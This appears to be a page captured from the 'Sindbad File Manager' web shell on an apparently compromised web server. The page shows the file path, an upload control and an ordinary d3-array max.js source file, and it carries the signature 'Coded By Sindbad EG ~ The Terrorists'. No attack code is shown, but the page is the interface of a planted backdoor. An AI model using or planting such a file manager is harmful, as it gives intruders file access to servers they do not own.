Duffer Derek

Current Path : /var/www/sitesecurity.bitkit.dk/httpdocs/node_modules/d3-array/src/
Upload File :
Current File : /var/www/sitesecurity.bitkit.dk/httpdocs/node_modules/d3-array/src/max.js

export default function max(values, valueof) {
  let max;
  if (valueof === undefined) {
    for (const value of values) {
      if (value != null
          && (max < value || (max === undefined && value >= value))) {
        max = value;
      }
    }
  } else {
    let index = -1;
    for (let value of values) {
      if ((value = valueof(value, ++index, values)) != null
          && (max < value || (max === undefined && value >= value))) {
        max = value;
      }
    }
  }
  return max;
}

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists